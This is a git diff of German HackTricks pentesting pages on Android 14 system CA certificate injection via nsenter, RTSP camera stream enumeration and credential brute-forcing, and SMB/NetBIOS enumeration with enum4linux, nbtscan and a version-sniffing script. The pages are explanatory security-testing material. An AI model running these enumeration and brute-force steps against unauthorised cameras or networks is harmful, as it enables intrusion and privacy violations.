nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
Dies stellt sicher, dass jede neue gestartete App der aktualisierten CA-Zertifikatskonfiguration folgt.
|
||||
Dies stellt sicher, dass jede neue App, die gestartet wird, den aktualisierten CA-Zertifikats-Setup einhält.
|
||||
|
||||
4. **Anwenden von Änderungen auf laufende Apps**: Um die Änderungen auf bereits laufende Anwendungen anzuwenden, wird erneut `nsenter` verwendet, um den Namespace jeder App einzeln zu betreten und einen ähnlichen Bind-Mount durchzuführen. Der erforderliche Befehl lautet:
|
||||
4. **Änderungen auf laufende Apps anwenden**: Um die Änderungen auf bereits laufende Anwendungen anzuwenden, wird erneut `nsenter` verwendet, um in den Namensraum jeder App einzutreten und einen ähnlichen Bind-Mount durchzuführen. Der erforderliche Befehl lautet:
|
||||
```bash
|
||||
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
5. **Alternative Ansatz - Soft Reboot**: Eine alternative Methode besteht darin, das Bind-Mount auf den `init`-Prozess (PID 1) durchzuführen, gefolgt von einem Soft-Reboot des Betriebssystems mit den Befehlen `stop && start`. Mit diesem Ansatz werden die Änderungen in allen Namespaces propagiert, sodass es nicht erforderlich ist, jede laufende App einzeln anzusprechen. Diese Methode wird jedoch im Allgemeinen weniger bevorzugt, da ein Neustart umständlich ist.
|
||||
5. **Alternative Ansatz - Soft Reboot**: Eine alternative Methode besteht darin, das Bind-Mount am `init`-Prozess (PID 1) durchzuführen, gefolgt von einem Soft-Reboot des Betriebssystems mit den Befehlen `stop && start`. Dieser Ansatz würde die Änderungen über alle Namespaces hinweg propagieren und die Notwendigkeit beseitigen, jede laufende App einzeln anzusprechen. Allerdings wird diese Methode im Allgemeinen weniger bevorzugt, aufgrund der Unannehmlichkeiten eines Neustarts.
|
||||
|
||||
## Referenzen
|
||||
|
||||
* [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie das Hacken von AWS von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,48 +2,48 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) **bei oder folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) **und** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories senden.**
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
||||
## Grundlegende Informationen
|
||||
|
||||
Aus [Wikipedia](https://en.wikipedia.org/wiki/Real\_Time\_Streaming\_Protocol) übersetzt:
|
||||
Von [Wikipedia](https://en.wikipedia.org/wiki/Real\_Time\_Streaming\_Protocol):
|
||||
|
||||
> Das **Real Time Streaming Protocol** (**RTSP**) ist ein Netzwerksteuerungsprotokoll, das für den Einsatz in Unterhaltungs- und Kommunikationssystemen entwickelt wurde, um Streaming-Mediaserver zu steuern. Das Protokoll wird verwendet, um Mediensitzungen zwischen Endpunkten herzustellen und zu steuern. Clients von Medienservern geben Befehle im VHS-Stil wie Wiedergabe, Aufnahme und Pause aus, um die Echtzeitsteuerung des Medienstreamings vom Server zu einem Client (Video on Demand) oder von einem Client zum Server (Sprachaufzeichnung) zu ermöglichen.
|
||||
> Das **Real Time Streaming Protocol** (**RTSP**) ist ein Netzwerksteuerungsprotokoll, das für den Einsatz in Unterhaltungs- und Kommunikationssystemen entwickelt wurde, um Streaming-Mediaserver zu steuern. Das Protokoll wird verwendet, um Mediensitzungen zwischen Endpunkten zu etablieren und zu steuern. Clients von Medienservern geben VHS-ähnliche Befehle wie Wiedergabe, Aufnahme und Pause aus, um die Echtzeitsteuerung des Medien-Streamings vom Server zu einem Client (Video on Demand) oder von einem Client zum Server (Sprachaufzeichnung) zu erleichtern.
|
||||
>
|
||||
> Die Übertragung von Streaming-Daten selbst ist keine Aufgabe von RTSP. Die meisten RTSP-Server verwenden das Real-time Transport Protocol (RTP) in Verbindung mit dem Real-time Control Protocol (RTCP) für die Bereitstellung von Mediendatenströmen. Einige Anbieter implementieren jedoch proprietäre Transportprotokolle. Die RTSP-Server-Software von RealNetworks verwendet beispielsweise auch das proprietäre Real Data Transport (RDT).
|
||||
|
||||
**Standard-Ports:** 554,8554
|
||||
**Standardports:** 554, 8554
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
554/tcp open rtsp
|
||||
```
|
||||
## Schlüsseldetails
|
||||
|
||||
**RTSP** ist ähnlich wie HTTP, wurde jedoch speziell für das Streaming von Medien entwickelt. Es ist in einer klaren Spezifikation definiert, die hier zu finden ist:
|
||||
**RTSP** ist ähnlich wie HTTP, aber speziell für das Streamen von Medien konzipiert. Es ist in einer klaren Spezifikation definiert, die hier gefunden werden kann:
|
||||
|
||||
[RTSP - RFC2326](https://tools.ietf.org/html/rfc2326)
|
||||
[RTSP – RFC2326](https://tools.ietf.org/html/rfc2326)
|
||||
|
||||
Geräte können entweder **unauthentifizierten** oder **authentifizierten** Zugriff erlauben. Um dies zu überprüfen, wird eine "DESCRIBE"-Anfrage gesendet. Ein einfaches Beispiel wird unten gezeigt:
|
||||
Geräte können **unauthentisierten** oder **authentisierten** Zugriff ermöglichen. Um dies zu überprüfen, wird eine "DESCRIBE"-Anfrage gesendet. Ein grundlegendes Beispiel wird unten gezeigt:
|
||||
|
||||
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\n`
|
||||
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r`
|
||||
|
||||
Denken Sie daran, dass das korrekte Format eine doppelte "\r\n" für eine konsistente Antwort enthält. Eine "200 OK"-Antwort zeigt an, dass der Zugriff **unauthentifiziert** ist, während "401 Unauthorized" auf die Notwendigkeit der Authentifizierung hinweist und darauf hindeutet, ob **Basic-Authentifizierung** oder **Digest-Authentifizierung** erforderlich ist.
|
||||
Denken Sie daran, dass das korrekte Format eine doppelte "\r\n" für eine konsistente Antwort enthält. Eine "200 OK"-Antwort zeigt **unauthentisierten Zugriff** an, während "401 Unauthorized" auf die Notwendigkeit der Authentifizierung hinweist und offenbart, ob **Basic-Authentifizierung** oder **Digest-Authentifizierung** erforderlich ist.
|
||||
|
||||
Für die **Basic-Authentifizierung** codieren Sie den Benutzernamen und das Passwort in Base64 und fügen es der Anfrage wie folgt hinzu:
|
||||
Für die **Basic-Authentifizierung** codieren Sie den Benutzernamen und das Passwort in Base64 und fügen sie der Anfrage wie folgt hinzu:
|
||||
|
||||
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==\r\n`
|
||||
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==\r`
|
||||
|
||||
Dieses Beispiel verwendet "admin" und "1234" für die Anmeldeinformationen. Hier ist ein **Python-Skript**, um eine solche Anfrage zu senden:
|
||||
In diesem Beispiel werden "admin" und "1234" für die Anmeldeinformationen verwendet. Hier ist ein **Python-Skript**, um eine solche Anfrage zu senden:
|
||||
```python
|
||||
import socket
|
||||
req = "DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==\r\n\r\n"
|
||||
|
@ -53,14 +53,13 @@ s.sendall(req)
|
|||
data = s.recv(1024)
|
||||
print(data)
|
||||
```
|
||||
**Grundlegende Authentifizierung** ist einfacher und bevorzugt. **Digest-Authentifizierung** erfordert eine sorgfältige Behandlung der in der "401 Unauthorized" Antwort bereitgestellten Authentifizierungsdetails.
|
||||
|
||||
Diese Übersicht vereinfacht den Prozess des Zugriffs auf RTSP-Streams und konzentriert sich auf die **Grundlegende Authentifizierung** aufgrund ihrer Einfachheit und Praktikabilität bei ersten Versuchen.
|
||||
**Basic authentication** ist einfacher und bevorzugt. **Digest authentication** erfordert eine sorgfältige Behandlung der Authentifizierungsdetails, die in der "401 Unauthorized" Antwort bereitgestellt werden.
|
||||
|
||||
Diese Übersicht vereinfacht den Prozess des Zugriffs auf RTSP-Streams und konzentriert sich auf **Basic authentication** aufgrund seiner Einfachheit und Praktikabilität bei ersten Versuchen.
|
||||
|
||||
## Enumeration
|
||||
|
||||
Lassen Sie uns Informationen über gültige Methoden und URLs abrufen und versuchen, den Zugriff (falls erforderlich) durch Brute-Force zu erlangen, um Zugriff auf den Inhalt zu erhalten.
|
||||
Lassen Sie uns Informationen über gültige Methoden und URLs abrufen und versuchen, den Zugriff zu erzwingen (falls erforderlich), um Zugriff auf den Inhalt zu erhalten.
|
||||
```bash
|
||||
nmap -sV --script "rtsp-*" -p <PORT> <IP>
|
||||
```
|
||||
|
@ -68,33 +67,34 @@ nmap -sV --script "rtsp-*" -p <PORT> <IP>
|
|||
|
||||
### **Andere nützliche Programme**
|
||||
|
||||
Um Brute-Force-Angriffe durchzuführen: [https://github.com/Tek-Security-Group/rtsp\_authgrinder](https://github.com/Tek-Security-Group/rtsp\_authgrinder)
|
||||
Zum Brute-Forcen: [https://github.com/Tek-Security-Group/rtsp\_authgrinder](https://github.com/Tek-Security-Group/rtsp\_authgrinder)
|
||||
|
||||
[**Cameradar**](https://github.com/Ullaakut/cameradar)
|
||||
|
||||
* Erkenne offene RTSP-Hosts auf jedem zugänglichen Ziel
|
||||
* Erkenne offene RTSP-Hosts auf jedem erreichbaren Ziel
|
||||
* Erhalte ihre öffentlichen Informationen (Hostname, Port, Kameramodell, etc.)
|
||||
* Führe automatisierte Wörterbuchangriffe durch, um den Stream-Routenpfad zu erhalten (z.B. /live.sdp)
|
||||
* Führe automatisierte Wörterbuchangriffe durch, um Benutzername und Passwort der Kameras zu erhalten
|
||||
* Erzeuge Miniaturansichten, um zu überprüfen, ob die Streams gültig sind und einen schnellen Überblick über ihren Inhalt zu erhalten
|
||||
* Starte automatisierte Wörterbuchangriffe, um ihren Stream-Pfad zu erhalten (zum Beispiel /live.sdp)
|
||||
* Starte automatisierte Wörterbuchangriffe, um den Benutzernamen und das Passwort der Kameras zu erhalten
|
||||
* Generiere Miniaturansichten, um zu überprüfen, ob die Streams gültig sind und einen schnellen Überblick über ihren Inhalt zu erhalten
|
||||
* Versuche, eine Gstreamer-Pipeline zu erstellen, um zu überprüfen, ob sie ordnungsgemäß codiert sind
|
||||
* Gib eine Zusammenfassung aller Informationen aus, die Cameradar erhalten konnte
|
||||
|
||||
## Referenzen
|
||||
|
||||
* [https://en.wikipedia.org/wiki/Real\_Time\_Streaming\_Protocol](https://en.wikipedia.org/wiki/Real\_Time\_Streaming\_Protocol)
|
||||
* [http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/](http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/)
|
||||
* [https://github.com/Ullaakut/cameradar](https://github.com/Ullaakut/cameradar)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,58 +2,57 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
||||
## **Port 139**
|
||||
|
||||
Das **_Network Basic Input Output System_ (NetBIOS)** ist ein Softwareprotokoll, das entwickelt wurde, um Anwendungen, PCs und Desktops innerhalb eines lokalen Netzwerks (LAN) zu ermöglichen, mit Netzwerkhardware zu interagieren und **die Übertragung von Daten über das Netzwerk zu erleichtern**. Die Identifizierung und Lokalisierung von Softwareanwendungen, die in einem NetBIOS-Netzwerk arbeiten, erfolgt über ihre NetBIOS-Namen, die bis zu 16 Zeichen lang sein können und oft vom Computernamen abweichen. Eine NetBIOS-Sitzung zwischen zwei Anwendungen wird initiiert, wenn eine Anwendung (als Client) einen Befehl zum "Aufrufen" einer anderen Anwendung (als Server) unter Verwendung von **TCP-Port 139** ausgibt.
|
||||
Das _**Network Basic Input Output System**_** (NetBIOS)** ist ein Softwareprotokoll, das entwickelt wurde, um Anwendungen, PCs und Desktops innerhalb eines lokalen Netzwerks (LAN) zu ermöglichen, mit Netzwerkhardware zu interagieren und **die Übertragung von Daten im Netzwerk zu erleichtern**. Die Identifizierung und Lokalisierung von Softwareanwendungen, die in einem NetBIOS-Netzwerk betrieben werden, erfolgen über ihre NetBIOS-Namen, die bis zu 16 Zeichen lang sein können und oft vom Computernamen abweichen. Eine NetBIOS-Sitzung zwischen zwei Anwendungen wird initiiert, wenn eine Anwendung (als Client fungierend) einen Befehl zum "Aufrufen" einer anderen Anwendung (als Server fungierend) unter Verwendung von **TCP-Port 139** ausgibt.
|
||||
```
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
## Port 445
|
||||
|
||||
Technisch gesehen wird Port 139 als "NBT über IP" bezeichnet, während Port 445 als "SMB über IP" identifiziert wird. Das Akronym **SMB** steht für "Server Message Blocks", das auch modern als **Common Internet File System (CIFS)** bekannt ist. Als Anwendungsprotokoll der Anwendungsschicht wird SMB/CIFS hauptsächlich verwendet, um den gemeinsamen Zugriff auf Dateien, Drucker, serielle Anschlüsse zu ermöglichen und verschiedene Formen der Kommunikation zwischen Knoten in einem Netzwerk zu erleichtern.
|
||||
Technisch gesehen wird Port 139 als "NBT über IP" bezeichnet, während Port 445 als "SMB über IP" identifiziert wird. Das Akronym **SMB** steht für "Server Message Blocks", das auch modern als **Common Internet File System (CIFS)** bekannt ist. Als Anwendungs-Layer-Netzwerkprotokoll wird SMB/CIFS hauptsächlich genutzt, um den gemeinsamen Zugriff auf Dateien, Drucker, serielle Anschlüsse zu ermöglichen und verschiedene Formen der Kommunikation zwischen Knoten in einem Netzwerk zu erleichtern.
|
||||
|
||||
Zum Beispiel wird im Zusammenhang mit Windows hervorgehoben, dass SMB direkt über TCP/IP ausgeführt werden kann, wodurch die Notwendigkeit von NetBIOS über TCP/IP entfällt, durch die Verwendung von Port 445. Andererseits wird bei verschiedenen Systemen die Verwendung von Port 139 beobachtet, was darauf hinweist, dass SMB in Verbindung mit NetBIOS über TCP/IP ausgeführt wird.
|
||||
Zum Beispiel wird im Zusammenhang mit Windows hervorgehoben, dass SMB direkt über TCP/IP betrieben werden kann, was die Notwendigkeit von NetBIOS über TCP/IP durch die Verwendung von Port 445 beseitigt. Andererseits wird auf verschiedenen Systemen die Verwendung von Port 139 beobachtet, was darauf hinweist, dass SMB in Verbindung mit NetBIOS über TCP/IP ausgeführt wird.
|
||||
```
|
||||
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
||||
```
|
||||
### SMB
|
||||
|
||||
Das **Server Message Block (SMB)**-Protokoll, das in einem **Client-Server**-Modell arbeitet, ist darauf ausgelegt, den **Zugriff auf Dateien**, Verzeichnisse und andere Netzwerkressourcen wie Drucker und Router zu regeln. Es wird hauptsächlich in der Windows-Betriebssystemserie verwendet und gewährleistet die Abwärtskompatibilität, sodass Geräte mit neueren Versionen des Microsoft-Betriebssystems nahtlos mit solchen interagieren können, die ältere Versionen ausführen. Zusätzlich bietet das Samba-Projekt eine kostenlose Softwarelösung, die die Implementierung von SMB in Linux- und Unix-Systemen ermöglicht und so die plattformübergreifende Kommunikation über SMB erleichtert.
|
||||
Das **Server Message Block (SMB)**-Protokoll, das in einem **Client-Server**-Modell arbeitet, ist darauf ausgelegt, den **Zugriff auf Dateien**, Verzeichnisse und andere Netzwerkressourcen wie Drucker und Router zu regeln. Hauptsächlich innerhalb der **Windows**-Betriebssystemreihe genutzt, gewährleistet SMB Abwärtskompatibilität, sodass Geräte mit neueren Versionen des Microsoft-Betriebssystems nahtlos mit solchen interagieren können, die ältere Versionen ausführen. Darüber hinaus bietet das **Samba**-Projekt eine kostenlose Softwarelösung, die die Implementierung von SMB auf **Linux**- und Unix-Systemen ermöglicht und so die plattformübergreifende Kommunikation durch SMB erleichtert.
|
||||
|
||||
Shares, die **beliebige Teile des lokalen Dateisystems** repräsentieren, können von einem SMB-Server bereitgestellt werden, wodurch die Hierarchie für einen Client teilweise **unabhängig** von der tatsächlichen Struktur des Servers sichtbar wird. Die **Access Control Lists (ACLs)**, die **Zugriffsrechte** definieren, ermöglichen eine **fein abgestufte Kontrolle** über Benutzerberechtigungen, einschließlich Attribute wie **`ausführen`**, **`lesen`** und **`voller Zugriff`**. Diese Berechtigungen können einzelnen Benutzern oder Gruppen zugewiesen werden, basierend auf den Shares, und unterscheiden sich von den lokalen Berechtigungen, die auf dem Server festgelegt sind.
|
||||
Shares, die **beliebige Teile des lokalen Dateisystems** darstellen, können von einem SMB-Server bereitgestellt werden, wodurch die Hierarchie für einen Client teilweise **unabhängig** von der tatsächlichen Struktur des Servers sichtbar wird. Die **Zugriffssteuerungslisten (ACLs)**, die **Zugriffsrechte** definieren, ermöglichen eine **fein abgestimmte Kontrolle** über Benutzerberechtigungen, einschließlich Attribute wie **`ausführen`**, **`lesen`** und **`voller Zugriff`**. Diese Berechtigungen können einzelnen Benutzern oder Gruppen basierend auf den Shares zugewiesen werden und unterscheiden sich von den lokalen Berechtigungen, die auf dem Server festgelegt sind.
|
||||
|
||||
### IPC$-Freigabe
|
||||
### IPC$ Share
|
||||
|
||||
Der Zugriff auf die IPC$-Freigabe kann über eine anonyme Nullsitzung erlangt werden, was die Interaktion mit über benannte Pipes bereitgestellten Diensten ermöglicht. Das Dienstprogramm `enum4linux` ist für diesen Zweck nützlich. Wenn es richtig verwendet wird, ermöglicht es den Erwerb von:
|
||||
Der Zugriff auf den IPC$-Share kann über eine anonyme Nullsitzung erlangt werden, was die Interaktion mit über benannte Pipes freigegebenen Diensten ermöglicht. Das Dienstprogramm `enum4linux` ist für diesen Zweck nützlich. Wenn es ordnungsgemäß verwendet wird, ermöglicht es den Erwerb von:
|
||||
|
||||
- Informationen über das Betriebssystem
|
||||
- Details zur übergeordneten Domäne
|
||||
- Eine Zusammenstellung von lokalen Benutzern und Gruppen
|
||||
- Informationen über verfügbare SMB-Freigaben
|
||||
- Die effektive System-Sicherheitsrichtlinie
|
||||
* Informationen zum Betriebssystem
|
||||
* Details zur übergeordneten Domäne
|
||||
* Eine Zusammenstellung von lokalen Benutzern und Gruppen
|
||||
* Informationen zu verfügbaren SMB-Shares
|
||||
* Die effektive Systemsicherheitsrichtlinie
|
||||
|
||||
Diese Funktionalität ist für Netzwerkadministratoren und Sicherheitsexperten entscheidend, um die Sicherheitslage von SMB (Server Message Block)-Diensten in einem Netzwerk zu bewerten. `enum4linux` bietet einen umfassenden Überblick über die SMB-Umgebung des Zielssystems, was für die Identifizierung potenzieller Schwachstellen und die Gewährleistung einer ordnungsgemäßen Sicherung der SMB-Dienste unerlässlich ist.
|
||||
Diese Funktionalität ist entscheidend für Netzwerkadministratoren und Sicherheitsfachleute, um die Sicherheitslage der SMB (Server Message Block)-Dienste in einem Netzwerk zu bewerten. `enum4linux` bietet einen umfassenden Überblick über die SMB-Umgebung des Zielsystems, der entscheidend ist, um potenzielle Schwachstellen zu identifizieren und sicherzustellen, dass die SMB-Dienste ordnungsgemäß gesichert sind.
|
||||
```bash
|
||||
enum4linux -a target_ip
|
||||
```
|
||||
Der obige Befehl ist ein Beispiel dafür, wie `enum4linux` verwendet werden kann, um eine vollständige Aufzählung gegen ein Ziel durchzuführen, das durch `target_ip` angegeben ist.
|
||||
|
||||
Die obige Befehl ist ein Beispiel dafür, wie `enum4linux` verwendet werden könnte, um eine vollständige Aufzählung gegen ein Ziel durchzuführen, das durch `target_ip` angegeben ist.
|
||||
|
||||
## Was ist NTLM
|
||||
|
||||
Wenn Sie nicht wissen, was NTLM ist oder wie es funktioniert und wie Sie es missbrauchen können, finden Sie diese Seite über **NTLM** sehr interessant, auf der erklärt wird, **wie dieses Protokoll funktioniert und wie Sie es ausnutzen können:**
|
||||
Wenn Sie nicht wissen, was NTLM ist, oder wenn Sie wissen möchten, wie es funktioniert und wie Sie es missbrauchen können, finden Sie diese Seite über **NTLM** sehr interessant, auf der erklärt wird, **wie dieses Protokoll funktioniert und wie Sie es ausnutzen können:**
|
||||
|
||||
{% content-ref url="../windows-hardening/ntlm/" %}
|
||||
[ntlm](../windows-hardening/ntlm/)
|
||||
|
@ -61,15 +60,15 @@ Wenn Sie nicht wissen, was NTLM ist oder wie es funktioniert und wie Sie es miss
|
|||
|
||||
## **Server-Aufzählung**
|
||||
|
||||
### **Scannen** Sie ein Netzwerk nach Hosts:
|
||||
### **Scannen** eines Netzwerks zur Suche nach Hosts:
|
||||
```bash
|
||||
nbtscan -r 192.168.0.1/24
|
||||
```
|
||||
### SMB-Server-Version
|
||||
|
||||
Um nach möglichen Exploits für die SMB-Version zu suchen, ist es wichtig zu wissen, welche Version verwendet wird. Wenn diese Information in anderen verwendeten Tools nicht angezeigt wird, können Sie Folgendes tun:
|
||||
Um nach möglichen Exploits für die SMB-Version zu suchen, ist es wichtig zu wissen, welche Version verwendet wird. Wenn diese Information in anderen verwendeten Tools nicht angezeigt wird, können Sie:
|
||||
|
||||
* Verwenden Sie das **MSF**-Hilfsmodul \_**auxiliary/scanner/smb/smb\_version**
|
||||
* Das **MSF**-Hilfsmodul \_**auxiliary/scanner/smb/smb\_version** verwenden
|
||||
* Oder dieses Skript:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
@ -87,40 +86,28 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i
|
|||
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
|
||||
echo "" && sleep .1
|
||||
```
|
||||
### **Exploit suchen**
|
||||
|
||||
Um Schwachstellen in SMB (Server Message Block) zu finden, können Sie nach verfügbaren Exploits suchen. Exploits sind speziell entwickelte Codes oder Techniken, die ausgenutzt werden können, um Sicherheitslücken in einem System auszunutzen.
|
||||
|
||||
